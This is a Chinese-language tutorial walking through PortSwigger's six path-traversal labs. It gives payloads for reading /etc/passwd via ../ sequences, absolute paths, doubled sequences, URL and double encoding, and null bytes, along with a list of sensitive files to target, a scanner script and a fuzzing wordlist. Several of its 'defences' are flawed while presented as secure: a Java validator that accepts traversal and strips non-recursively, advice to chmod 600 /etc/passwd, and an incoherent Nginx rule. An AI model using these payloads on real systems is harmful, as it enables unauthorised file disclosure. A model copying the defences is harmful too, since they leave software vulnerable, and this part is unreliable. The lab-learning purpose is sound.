# PortSwigger 目录遍历靶场完全攻略(6 个实验全解析)

# 前言

目录遍历(Directory Traversal),也称为路径遍历(Path Traversal),是 Web 安全中常见的高危漏洞之一。攻击者通过构造特殊的路径序列,能够访问 Web 应用程序根目录之外的文件和目录,从而读取敏感文件、获取系统信息,甚至在某些情况下实现远程代码执行。

PortSwigger 提供的目录遍历靶场包含 6 个精心设计的实验,涵盖了从基础到高级的各种目录遍历技术和绕过方法。本文将详细解析每个实验的原理、攻击步骤和技术要点,帮助读者全面掌握目录遍历漏洞的原理和利用方法。

# 什么是目录遍历漏洞

目录遍历漏洞是一种允许攻击者读取应用程序目录结构之外的任意文件的漏洞。当应用程序使用用户提供的输入来构建文件路径,但没有对输入进行充分验证时,就会出现这种漏洞。

# 漏洞原理

考虑一个显示待售商品图像的购物应用程序。图像通过 HTML 加载,如下所示:

1
<img src="/loadImage?filename=218.png">

loadImage URL 接受一个 filename 参数并返回指定文件的内容。图像文件本身存储在磁盘中的位置 /var/www/images/ 。要返回图像,应用程序将请求的文件名附加到此基本目录并使用文件系统 API 来读取文件的内容。

在上述情况下,应用程序从以下文件路径读取:

1
/var/www/images/218.png

# 攻击原理

该应用程序没有针对目录遍历攻击实施任何防御措施,因此攻击者可以请求以下 URL 从服务器的文件系统中检索任意文件:

1
https://insecure-website.com/loadImage?filename=../../../etc/passwd

这会导致应用程序从以下文件路径读取:

1
/var/www/images/../../../etc/passwd

该序列 ../ 在文件路径中有效,意味着在目录结构中上一级。三个连续的 ../ 序列从 /var/www/images/ 文件系统的根目录开始,所以实际读取的文件是:

1
/etc/passwd

在基于 Unix 的操作系统上,这是一个标准文件,其中包含在服务器上注册的用户的详细信息。

在 Windows 上, ../..\ 都是有效的目录遍历序列,检索标准操作系统文件的等效攻击是:

1
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

# 实验环境准备

在开始之前,请确保:

  • 拥有 PortSwigger Academy 账号
  • 熟练使用 BurpSuite 进行抓包和改包
  • 了解基本的文件系统结构和路径概念
  • 理解 HTTP 协议和 Web 应用架构
  • 熟悉不同操作系统的路径分隔符(Unix: / , Windows: \

# 实战演练

# 实验 1:目录遍历,简单案例

# 目标描述

该实验室的产品库存检查器中存在目录遍历漏洞。应用程序显示来自指定文件的产品图像。

# 任务目标

检索 /etc/passwd 文件的内容。

# 漏洞分析

应用程序可能执行类似如下的文件读取操作:

1
2
3
4
5
# 伪代码示例
base_directory = "/var/www/images/"
filename = request.GET.get('filename')
full_path = base_directory + filename
return read_file(full_path)

filename 参数直接传递给文件系统时,攻击者可以使用 ../ 序列向上遍历目录。

# 攻击步骤

  1. 访问目标页面:导航到产品图片加载功能
  2. 开启 Burp 拦截:使用 Burp Suite 拦截加载图片的请求
  3. 分析请求参数:观察 filename 参数的传递方式
  4. 注入遍历序列:修改 filename 参数,添加目录遍历序列

具体 Payload:

1
filename=../../../etc/passwd

# 技术原理

目录遍历的核心是使用 ../ 序列:

  • ../ 表示上一级目录
  • ../../ 表示上两级目录
  • ../../../ 表示上三级目录

/var/www/images/ 开始:

1
/var/www/images/../../../etc/passwd

简化后:

1
/etc/passwd

# 预期结果

响应中应该包含 /etc/passwd 文件的内容,例如:

1
2
3
4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

# 实验 2:目录遍历,遍历序列被绝对路径绕过

# 目标描述

许多将用户输入放置到文件路径中的应用程序实现了某种针对路径遍历攻击的防御,并且这些通常可以被规避。

# 任务目标

检索 /etc/passwd 文件的内容。

# 漏洞分析

应用程序可能过滤了 ../ 序列,但没有阻止绝对路径。这种情况下,可以使用绝对路径直接引用文件,而无需使用任何遍历序列。

# 攻击步骤

  1. 测试相对路径:首先尝试使用 ../../../etc/passwd
  2. 观察过滤结果:如果相对路径被过滤,尝试绝对路径
  3. 使用绝对路径:直接使用从文件系统根目录开始的路径

具体 Payload:

1
filename=/etc/passwd

# 技术原理

当应用程序过滤 ../ 序列时,可能存在以下几种情况:

  1. 简单字符串过滤:直接删除 ../ 序列
  2. 正则表达式过滤:使用正则匹配 ../
  3. 路径验证:验证路径是否包含遍历序列

绝对路径绕过的原理是:

  • 绝对路径以 / 开头,直接指向文件系统根目录
  • 不包含 ../ 序列,可能绕过过滤规则
  • 直接访问目标文件,无需遍历目录结构

# 验证方法

如果绝对路径成功,说明应用程序:

  • 只过滤了相对路径遍历
  • 没有验证路径的合法性
  • 允许访问任意绝对路径文件

# 实验 3:目录遍历,遍历序列被非递归剥离

# 目标描述

应用程序从用户提供的文件名中剥离或阻止目录遍历序列,但处理方式存在缺陷。

# 任务目标

检索 /etc/passwd 文件的内容。

# 漏洞分析

应用程序可能使用非递归的字符串替换来过滤 ../ 序列,这意味着只会替换一次匹配的序列。这种情况下,可以使用双写绕过技术。

# 攻击步骤

  1. 测试单次遍历:尝试 ../../../etc/passwd
  2. 观察过滤结果:如果被过滤,尝试双写绕过
  3. 构造双写 Payload: 使用 ....// 或类似模式

具体 Payload:

1
filename=....//....//....//etc/passwd

# 技术原理

非递归过滤的代码可能如下:

1
2
3
# 伪代码示例
def sanitize_path(filename):
return filename.replace('../', '')

这种过滤只会替换一次 ../

  • 输入: ....//....//....//etc/passwd
  • 第一次替换: ../''
  • 结果: ../../../etc/passwd

双写绕过的变体:

  • ....//../
  • ..\/../ (URL 编码)
  • ..%2f../ (URL 编码)

# 其他绕过技术

  1. 混合编码:

    1
    filename=..%2f..%2f..%2fetc%2fpasswd

  2. Unicode 编码:

    1
    filename=..%u2215..%u2215..%u2215etc%u2215passwd

  3. 双重 URL 编码:

    1
    filename=..%252f..%252f..%252fetc%252fpasswd

# 实验 4:目录遍历,遍历序列被过度 URL 解码剥离

# 目标描述

在某些情况下,例如在 URL 路径或请求 filename 参数中 multipart/form-data ,Web 服务器可能会在将您的输入传递给应用程序之前剥离任何目录遍历序列。您有时可以通过 URL 编码,甚至双重 URL 编码,绕过这种清理。<mcreference link="https://www.cnblogs.com/Sayo-/p/16388740.html" index="0">0</citereference>

# 任务目标

检索 /etc/passwd 文件的内容。

# 漏洞分析

应用程序可能在多层处理中剥离目录遍历序列:

  1. Web 服务器层解码和过滤
  2. 应用程序层再次解码和过滤
  3. WAF 层过滤

这种情况下,可以使用各种编码技术绕过清理。

# 攻击步骤

  1. 测试基础遍历:尝试 ../../../etc/passwd
  2. 使用 URL 编码:对 ../ 进行 URL 编码
  3. 尝试双重编码:对已编码的内容再次编码
  4. 使用非标准编码:尝试各种编码变体

具体 Payload:

  1. 单次 URL 编码:

    1
    filename=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

  2. 双重 URL 编码:

    1
    filename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

  3. 非标准编码:

    1
    filename=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

# 技术原理

URL 编码表:

字符单次编码双重编码非标准编码
/%2f%252f%c0%af
.%2e%252e-

编码绕过原理:

  1. 单次 URL 编码:绕过简单的字符串匹配
  2. 双重 URL 编码:绕过多层解码处理
  3. 非标准编码:利用编码解析的差异

处理流程示例:

1
2
3
输入: %252e%252e%252f
第一次解码: %2e%2e%2f
第二次解码: ../

# 实验 5:目录遍历,路径起始验证

# 目标描述

应用程序验证路径必须以特定前缀开头,但验证逻辑存在缺陷。

# 任务目标

检索 /etc/passwd 文件的内容。

# 漏洞分析

应用程序可能使用正则表达式验证路径必须包含特定目录,如 /var/www/images/ ,但验证逻辑可以被绕过。

# 攻击步骤

  1. 了解验证规则:确定要求的前缀
  2. 构造符合要求的路径:在路径中包含必需的前缀
  3. 注入遍历序列:在前缀后添加遍历序列

具体 Payload:

1
filename=/var/www/images/../../../etc/passwd

# 技术原理

验证代码可能如下:

1
2
3
4
# 伪代码示例
def validate_path(filename):
required_prefix = '/var/www/images/'
return filename.startswith(required_prefix)

这种验证只检查路径是否以指定前缀开头,但不检查路径的实际安全性。

绕过原理:

  1. 路径以 /var/www/images/ 开头,通过验证
  2. ../../../ 将路径回退到根目录
  3. 最终访问 /etc/passwd

其他绕过方法:

  1. 使用绝对路径:

    1
    filename=/var/www/images/etc/passwd

  2. 使用相对路径:

    1
    filename=var/www/images/../../../etc/passwd

# 实验 6:目录遍历,文件扩展名验证与空字节绕过

# 目标描述

应用程序验证文件必须具有特定的扩展名,但可以使用空字节绕过验证。

# 任务目标

检索 /etc/passwd 文件的内容。

# 漏洞分析

应用程序可能要求文件必须以特定扩展名结尾(如 .jpg ),但底层文件系统 API 可能忽略空字节后的内容。

# 攻击步骤

  1. 了解扩展名要求:确定要求的文件扩展名
  2. 构造包含扩展名的路径:在目标文件后添加必需扩展名
  3. 使用空字节绕过:在扩展名前插入空字节

具体 Payload:

1
filename=../../../etc/passwd%00.jpg

# 技术原理

空字节绕过原理:

  1. 应用程序验证: ../../../etc/passwd%00.jpg.jpg 结尾,通过验证
  2. 文件系统 API: %00 被解析为空字符 \0 ,截断后面的内容
  3. 实际访问: ../../../etc/passwd

编程语言中的空字节处理:

1
2
3
4
// C语言示例
char* filename = "../../../etc/passwd\0.jpg";
// 实际打开的文件: ../../../etc/passwd
FILE* file = fopen(filename, "r");

1
2
3
4
// PHP示例
$filename = "../../../etc/passwd\0.jpg";
// 实际访问: ../../../etc/passwd
$content = file_get_contents($filename);

其他绕过技术:

  1. 长文件名截断:

    1
    filename=../../../etc/passwd.....................................................jpg

  2. 路径遍历结合空字节:

    1
    filename=/var/www/images/../../../etc/passwd%00.jpg

# 目录遍历技术总结

# 常用遍历序列

操作系统遍历序列示例
Unix/Linux../../../../etc/passwd
Windows../../../../windows/win.ini
Windows..\..\..\..\windows\win.ini

# 编码绕过技术

编码类型编码结果应用场景
URL 编码%2e%2e%2f绕过字符串过滤
双重 URL 编码%252e%252e%252f绕过多层解码
Unicode 编码..%u2215绕过特定过滤器
十六进制编码..%c0%af绕过 UTF-8 过滤器

# 绕过技术矩阵

防御类型绕过方法成功率
简单字符串过滤双写、编码
正则表达式过滤编码、混合
路径前缀验证绝对路径
扩展名验证空字节
多层过滤双重编码

# 敏感文件列表

# Unix/Linux 系统文件

文件路径描述危险等级
/etc/passwd用户账户信息
/etc/shadow用户密码哈希极高
/etc/hosts主机名映射
/etc/issue系统版本信息
/proc/version内核版本信息
/proc/self/environ环境变量
/home/user/.bash_history命令历史
/var/log/auth.log认证日志

# Windows 系统文件

文件路径描述危险等级
C:\windows\win.ini系统配置
C:\boot.ini启动配置
C:\windows\system32\drivers\etc\hosts主机映射
C:\windows\system32\config\sam用户密码极高
C:\windows\repair\sam备份密码极高

# Web 应用文件

文件路径描述危险等级
config.php数据库配置极高
.env环境变量极高
wp-config.phpWordPress 配置
database.yml数据库配置
.htaccessApache 配置

# 防御措施

# 1. 输入验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 安全的文件名验证
import re
import os

def validate_filename(filename):
"""
验证文件名是否安全
"""
# 只允许字母、数字、点号、下划线和连字符
pattern = r'^[a-zA-Z0-9._-]+$'

if not re.match(pattern, filename):
return False

# 检查文件名长度
if len(filename) > 255:
return False

# 检查危险字符
dangerous_chars = ['..', '/', '\\', ':', '*', '?', '"', '<', '>', '|']
for char in dangerous_chars:
if char in filename:
return False

return True

def safe_file_access(filename, base_dir='/var/www/images'):
"""
安全的文件访问函数
"""
# 验证文件名
if not validate_filename(filename):
raise ValueError("Invalid filename")

# 构建完整路径
full_path = os.path.join(base_dir, filename)

# 规范化路径
full_path = os.path.normpath(full_path)

# 验证路径是否在允许的目录内
if not full_path.startswith(os.path.normpath(base_dir)):
raise ValueError("Path traversal detected")

return full_path

# 2. 白名单验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Java白名单验证示例
import java.util.Set;
import java.util.HashSet;

public class FileValidator {
private static final Set<String> ALLOWED_EXTENSIONS = Set.of(".jpg", ".png", ".gif", ".pdf");
private static final Set<String> ALLOWED_FILES = Set.of("logo.jpg", "banner.png", "manual.pdf");

public static boolean validateFile(String filename) {
// 检查是否在允许的文件列表中
if (ALLOWED_FILES.contains(filename)) {
return true;
}

// 检查扩展名
for (String ext : ALLOWED_EXTENSIONS) {
if (filename.endsWith(ext)) {
return true;
}
}

return false;
}

public static String sanitizePath(String path) {
// 移除路径遍历序列
return path.replaceAll("\\.\\.[\\\\/]", "");
}
}

# 3. 路径规范化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// PHP路径规范化示例
<?php
function safeFilePath($filename, $baseDir = '/var/www/images') {
// 移除空字节
$filename = str_replace("\0", '', $filename);

// 规范化路径
$fullPath = realpath($baseDir . '/' . $filename);
$baseRealPath = realpath($baseDir);

// 验证路径是否在基础目录内
if ($fullPath === false || strpos($fullPath, $baseRealPath) !== 0) {
throw new Exception("Path traversal detected");
}

return $fullPath;
}

// 使用示例
try {
$safePath = safeFilePath($_GET['filename']);
$content = file_get_contents($safePath);
} catch (Exception $e) {
error_log("Security violation: " . $e->getMessage());
http_response_code(403);
exit("Access denied");
}
?>

# 4. 权限控制

1
2
3
4
5
6
7
8
# 设置适当的文件权限
chmod 755 /var/www/images
chown www-data:www-data /var/www/images

# 限制敏感文件权限
chmod 600 /etc/passwd
chmod 600 /etc/shadow
chmod 644 /var/log/*.log

# 5. Web 服务器配置

1
2
3
4
5
6
7
8
9
10
11
12
# Nginx配置示例
location ~* \.(php|jsp|asp)$ {
# 禁止访问敏感文件
location ~* \.(conf|log|sql|bak|backup|old)$ {
deny all;
}
}

# 限制文件访问
location ~* ^/(etc|var|usr|bin|sbin)/ {
deny all;
}

1
2
3
4
5
6
7
8
9
10
11
12
# Apache配置示例
<Directory "/var/www/images">
# 只允许特定扩展名
<FilesMatch "\.(jpg|png|gif|pdf)$">
Require all granted
</FilesMatch>

# 拒绝其他文件
<FilesMatch ".*">
Require all denied
</FilesMatch>
</Directory>

# 自动化检测工具

# Burp Suite 插件

  1. Intruder: 自动化 fuzzing 测试
  2. Scanner: 自动漏洞扫描
  3. Sequencer: 会话令牌分析

# 自定义检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
import urllib.parse
from urllib.parse import urljoin

class DirectoryTraversalTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()

def test_traversal(self, param_name, payloads):
"""
测试目录遍历漏洞
"""
results = []

for payload in payloads:
# 构造测试URL
test_url = f"{self.base_url}?{param_name}={payload}"

try:
response = self.session.get(test_url, timeout=10)

# 检查响应
if self.check_vulnerability(response):
results.append({
'payload': payload,
'status_code': response.status_code,
'content_length': len(response.content),
'vulnerable': True
})

except Exception as e:
print(f"Error testing payload {payload}: {e}")

return results

def check_vulnerability(self, response):
"""
检查响应是否表明存在漏洞
"""
# 检查常见的敏感文件内容
indicators = [
'root:x:0:0', # /etc/passwd
'[fonts]', # /etc/fonts/fonts.conf
'[extensions]', # /etc/mime.types
'for 16-bit app support'
]

content = response.text.lower()
for indicator in indicators:
if indicator in content:
return True

return False

# 使用示例
tester = DirectoryTraversalTester("https://example.com/loadImage")

# 常用payloads
payloads = [
"../../../etc/passwd",
"..%2f..%2f..%2fetc%2fpasswd",
"..%252f..%252f..%252fetc%252fpasswd",
"/etc/passwd",
"..\\..\\..\\windows\\win.ini"
]

results = tester.test_traversal("filename", payloads)
for result in results:
if result['vulnerable']:
print(f"Vulnerable with payload: {result['payload']}")

# Fuzzing 字典

1
2
3
4
5
6
7
8
9
10
11
12
13
# 目录遍历fuzzing字典
../
..\
../../
..\\
../../../
..\\..\\
../../../../
..\\..\\..\\
etc/passwd
etc/shadow
windows/win.ini
boot.ini

# 总结

通过 PortSwigger 目录遍历靶场的 6 个实验,我们系统学习了:

  1. 基础目录遍历:使用 ../ 序列向上遍历目录
  2. 绝对路径绕过:使用绝对路径避开相对路径过滤
  3. 非递归过滤绕过:使用双写技术绕过简单过滤
  4. 编码绕过:使用各种编码技术绕过多层过滤
  5. 路径验证绕过:构造符合验证要求但包含遍历的路径
  6. 扩展名验证绕过:使用空字节等技术绕过文件类型验证

# 关键技术要点

  • 遍历序列:熟练使用 ../..\ 等遍历序列
  • 编码技术:掌握 URL 编码、双重编码、Unicode 编码等
  • 绕过技巧:理解各种防御机制的绕过方法
  • 自动化测试:使用工具提高检测效率

# 防御最佳实践

  1. 输入验证:严格的白名单验证
  2. 路径规范化:使用安全的路径处理函数
  3. 权限控制:最小权限原则
  4. 安全编码:避免直接拼接用户输入
  5. 监控审计:部署检测和监控机制

目录遍历漏洞虽然原理相对简单,但在实际应用中仍然普遍存在。掌握其原理和利用方法,不仅有助于渗透测试工作,更重要的是帮助开发者编写更安全的代码,构建更安全的 Web 应用。

# 参考资源

  • PortSwigger Web Security Academy - File Path Traversal
  • OWASP Path Traversal Prevention
  • Burp Suite Documentation
  • OWASP Testing Guide - Path Traversal

免责声明:本文内容仅用于教育目的,请勿在未授权的情况下对他人系统进行测试。所有安全测试都应在获得明确授权的环境中进行。